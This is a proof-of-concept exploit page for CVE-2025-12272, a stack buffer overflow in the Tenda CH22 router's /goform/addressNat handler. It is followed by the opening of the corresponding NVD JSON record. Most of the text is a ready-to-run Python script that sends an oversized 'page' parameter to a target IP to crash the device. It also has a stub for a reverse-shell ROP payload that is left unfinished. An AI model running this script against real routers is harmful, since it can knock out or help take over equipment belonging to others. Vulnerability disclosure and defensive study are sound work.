CVE-2025-12272

# CVE-2025-12272 PoC - Tenda CH22 Buffer Overflow # Target: /goform/addressNat via fromAddressNat function # Vulnerability: Stack buffer overflow via page parameter import requests import sys def exploit_tenda_ch22(target_ip, target_port=80): """ Exploit for CVE-2025-12272 in Tenda CH22 1.0.0.1 The fromAddressNat function in /goform/addressNat is vulnerable to buffer overflow when processing the 'page' parameter. """ target_url = f"http://{target_ip}:{target_port}/goform/addressNat" # Payload: Excessive string to trigger buffer overflow # The exact overflow length may vary based on firmware version overflow_length = 1024 overflow_payload = "A" * overflow_length # Construct the malicious request data = { "page": overflow_payload, # Vulnerable parameter "fromAddressNat": "1" # Trigger the vulnerable function } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload length: {overflow_length} bytes") response = requests.post(target_url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def create_reverse_shell_payload(): """ Generate a more sophisticated payload for remote code execution. This would replace the return address with a ROP gadget to execute shell commands. """ # Padding to reach return address padding = "A" * 512 # ROP chain or shellcode would go here # For demonstration purposes only return padding if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12272_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_ch22(target, port)

{"cve": {"id": "CVE-2025-12272", "sourceIdentifier": "[email protected]", "published": "2025-10-27T12:15:34.173", "lastModified": "2026-02-24T08:16:25.140", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Tenda CH22 1.0.0.1. This impacts the function fromAddressNat of the file /goform/addressNat. Performing a manipulation of the argument page results in buffer overflow. The attack may be initiated remotely. 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